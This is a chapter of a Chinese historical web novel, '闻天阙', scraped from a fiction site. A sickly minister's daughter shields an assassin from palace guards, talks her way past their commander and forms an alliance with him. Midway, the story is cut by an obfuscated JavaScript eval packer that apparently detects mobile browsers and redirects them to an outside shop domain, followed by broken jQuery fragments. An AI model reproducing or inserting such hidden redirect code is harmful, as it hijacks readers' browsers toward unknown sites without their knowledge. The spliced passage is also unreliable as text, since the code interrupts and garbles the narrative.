文趣网 > 都市小说 > 闻天阙 > 3. 借刀杀人
    唐宜清没去制止陆之煜,只是起身开门,向外张望。

    “没时间了,你得先躲起来。”

    男人很快消失在二人面前,唐宜清没错过他眉间疑惑的神情。

    禁军就在不远处,唐宜清本该觉得不安,可她不得不承认,陆之煜此刻的识相,给了她些力量。

    唐宜清重新关上门,解开桂枝身上的束缚。

    桂枝还跪坐在地上心惊地颤抖时,唐宜清递给了她一块手帕。

    “桂枝,你知道怎么做,对吗?”

    唐宜清的手放在半空,手帕就安静地待在她的手心,半晌没被人接过。

    只是...上面多了几滴水渍。

    ...

    禁军闯入院中时,院内只剩下了唐宜清和一个叫春月的丫鬟。

    唐宜清不知为何浑身发冷,只得靠坐在床上,春月则恭敬地站在一旁,一言不发。

    大批穿着铠甲的侍卫闯入院中,只有一小部分进了唐宜清的房间。

    看着几乎快要把整间屋子占满了的这十几个人,唐宜清暗自松了口气。

    想来他们对丞相府二小姐还算尊敬,应是不会在她这里翻箱倒柜地搜查。

    否则她不敢保证,陆之煜是否能躲过那样地毯式的寻找。

    “二小姐,在下乃东宫禁军统领,王栋。”

    “现要在此搜查刺客,还请二小姐莫要阻拦。”

    “慢着,你说的是刺杀太子的人?”

    “怎么?二小姐有线索?”

    唐宜清在听到太子名讳时,背后已渗出冷汗。

    陆之煜可真会给他惹麻烦,居然敢去刺杀太子。

    唐宜清只在脑中简单思索后,便询问出声。

    一是为了尽力获取一些信息;二则是为了试探王统领。

    “统领!有发现!”

    唐宜清顺着那喊声看去,发现正是不久前被陆之煜倒入毒药的那棵绿植。

    寻常绿植若是枯萎,叶子会是从最外围开始,可唐宜清房中的这棵,却是从根部开始,逐渐往上。

    花盆底部被扒开,露出腐烂的根茎。

    唐宜清看着,胃部一阵翻涌。

    这药有毒,她一直都知道,也知道是唐宛仪下的手。

    可她却必须要赌,赌陆之煜会有一丁点的好奇心和那不确定的一瞬间心软。

    可眼下,那毒药可能带来的后果就如此清晰地摆在她面前,唐宜清只迟疑了一瞬,便被王统领抓住了。

    “二小姐,你可有解释?”

    “我是相府二小姐,不是摆弄花草的下人,你要我作何解释?”

    唐宜清的脸色本就苍白,让人无法从她面上辨出她到底是因为谎言即将被拆穿而害怕,还是因为什么。

    “二小姐可知道,世间有种毒在接触到活物之后,会变成另一种味道。”

    “而你盆中的这草,中的毒,和太子身上的一样。”

    几乎在王统领话音落下的瞬间,他边上的数十名将士便同时拔出了剑,开始步步朝着唐宜清逼近。

    唐宜清下意识捏紧了身上的被褥,就在那些人即将靠近她床铺之际,一道身影从众人面前闪过。

    速度不算快,就连唐宜清这幅身子都能看清,是陆之煜。

    “抓刺客!”

    王统领身后约莫一半的人追随着陆之煜离开,而他自己,则依旧防备地看向唐宜清。

    唐宜清笑了笑,捂着胸口痛苦地咳嗽了两声,有血丝从她嘴角渗出。

    “王统领,我根本不知道你们在说什么。”

    “你也看到了,我这副身子,能当什么刺客?”

    “至于那盆中的毒药,我更是毫不知情。”

    “毫不知情?那就把知情的人叫来。”

    “不必了,是我日日和药觉得口中实在太苦,才把我的药倒了进去。”

    “咳咳,我没想到,那药里会有毒。”

    唐宜清说完,房间里陷入寂静,众人神色各异。

    慌乱的脚步声传来,几个侍卫气喘吁吁地回来。

    他们跟丢了人。

    唐宜清垂着头,掩下了眼里的笑意。

    陆之煜骗过了这些禁军,还骗过了她。

    唐宜清抬手拂去嘴角渗出的血丝,可心里的不安非但没有消失反而愈演愈烈。

    就在王统领转身准备离开的瞬间,那个拿出绿植的侍卫忽然凑到他耳边说了些什么。

    唐宜清顿时心跳如雷,她眼睁睁看着,王统领脚下的方向再次转变,开始朝着另一边的衣柜和梳妆台走近。

    那也是唐宜清第一次察觉到陆之煜存在的地方。

    这些人是如何知晓的?

    房间里很安静,天色已经暗了下来,屋内被点上了蜡烛。

    唐宜清的视线被其中一根吸引,那根蜡烛火苗比其他的都要茁壮,灯芯被燃得很快,桌面迅速堆起了蜡油。

    她盯着那根蜡烛,深吸一口气,忽地开口。

    “王统领。”唐宜清打断了他即将触碰到柜门的动作,与王统领投来的目光对视,随后从枕下拿出了一封信。

    “王统领,我不知道我这副身子还能活多久,父亲眼里只有我姐姐。”

    “我母亲半年前也不在了,我唯一还惦记着的,只有一位表叔。”

    “他姓赵,听闻也在军营中,可否能托您帮我送封信?”

    唐宜清说着,声音不自觉有些颤抖。

    王统领走了过来,唐宜清把信递到他手里,他只看了一眼,便迅速移开了视线,颤抖着声音问道:“二小姐,这信,这信上的...”

    唐宜清缓缓抬头,和王统领对视,只一个眼神,王统领便噤了声。

    “王统领,我听我那丫鬟说,我吃的药,是姐姐特意为我求来的方子。”

    “若是我还有康复的一天,定是要去好好谢谢她,对吗?”

    回复唐宜清的,是王统领复杂的神色,他朝着唐宜清点了点头,带人离开了。

    在他们离开之前,方才那位立下了“大功劳”的侍卫似乎还想跟王统领说些什么,结果被王统领狠狠打了一巴掌。

    唐宜清依旧靠在床头,直到众人的身影消失。

    “春月,我记得你,你和桂枝都是当年我母亲手下的人。”

    “小姐,春月不求别的,也不在乎什么钱财,我自幼离家,当年是侧夫人救了我,我的命就是她的。”

    “现在她不在了,我的命就是小姐的。”

    “春月,这些年辛苦你了,现在,我有更重要的事要让你去做。”

    丞相府花园。

    唐宛仪正和赵家大小姐坐在亭中围炉煮茶,茶香四溢,赵家小姐连连赞叹。

    “

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17966312|214527||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    这是宛仪特意托人从江南带来的,姐姐你喜欢就好。”

    赵家小姐喝了口茶,笑了笑没再回复,只是眼底闪过一丝轻蔑。

    堂堂丞相嫡女,居然能为了她那个不成器的弟弟,对她一个不受宠的姐姐这么低声下气。

    一个丫鬟匆匆忙忙赶到唐宛仪身边,在她耳边低声说了什么。

    唐宛仪瞬间起身,脸上得体的笑容快要维持不住。

    “姐姐,我院中出了点事,恐怕不能陪你了。”

    “你去跟着她们,我倒要看看,丞相府出了什么大事。”

    唐宛仪走得急,都没发现,自己身后还跟着条“小尾巴”。

    只是她们才刚到唐宛仪院外,便听到里面传来利刃出鞘以及女人哭喊的声音。

    ...

    “你做了什么?禁军怎么会这么好对付?”

    “那陆公子呢?又是怎么做到的,莫非是有什么鬼神之术,可以让你随意在两地穿梭?”

    “哈哈哈!若是我真有那本事,也不会沦落至此了。”

    房门被关上的瞬间,唐宜清便对上了陆之煜的视线,他不知道又是从哪儿跳出来的。

    二人相互试探着,却都没得到任何有用的信息。

    “那信里,你写了什么?”

    “那信就在桌上,陆公子若是好奇,可以自己去看。”

    “自己看?这合适吗?这可是你写给你最后的亲人...”

    唐宜清看着陆之煜,嘴上说着一套,行为上又是另一套。

    只见他迅速走到桌前,像是生怕唐宜清反悔。

    信件被小心翼翼地打开,失望的神色在陆之煜眼中浮现。

    “二小姐,你不仅会开玩笑,还很会撒谎。”

    唐宜清对此不置可否。

    她只在信里写了一句话:“尽人事,听天命。”

    内容原本就不重要,关键在于信上印章的图案。

    想到这,唐宜清有些失笑,她喜欢在有了十足的把握后再去做事,可现在她却像个失明者,在黑暗的水边摸索。

    她摇了摇头,道:“陆公子知道了内容,现在可以告诉我,你是怎么做到的了吧?”

    “二小姐想知道?”陆之煜挑眉,凑近唐宜清。

    唐宜清点了点头,随后微微皱眉和陆之煜拉开距离。

    古人不都是注重清白,阶级分明吗?

    她也正是利用了这点,才能从王统领手里全身而退。

    可陆之煜,似乎从未把这些放在眼里。

    唐宜清都已经做好了听的故事的准备了,可陆之煜却反悔了。

    他只给了唐宜清一块令牌,深绿色的,很有分量。

    令牌被他轻飘飘扔到唐宜清被褥上,下面还坠着金线。

    唐宜清拿起那块令牌,手指在上面轻轻摩挲了几下,嘴角下意识勾起。

    “青天”、“平世”。

    她似乎猜到陆之煜的隐藏身份了。

    “二小姐,这令牌,算是我们成为盟友的见证吧。”

    “你的秘密太多,我实在好奇。”

    “等下次,你拿一个更有说服力的来,我再告诉你我的秘密。”

    下次?唐宜清心下疑惑,还没来得及说些什么。

    一根尾部坠着红缨的利箭便破窗而入,精准钉在了她和陆之煜中央的墙上。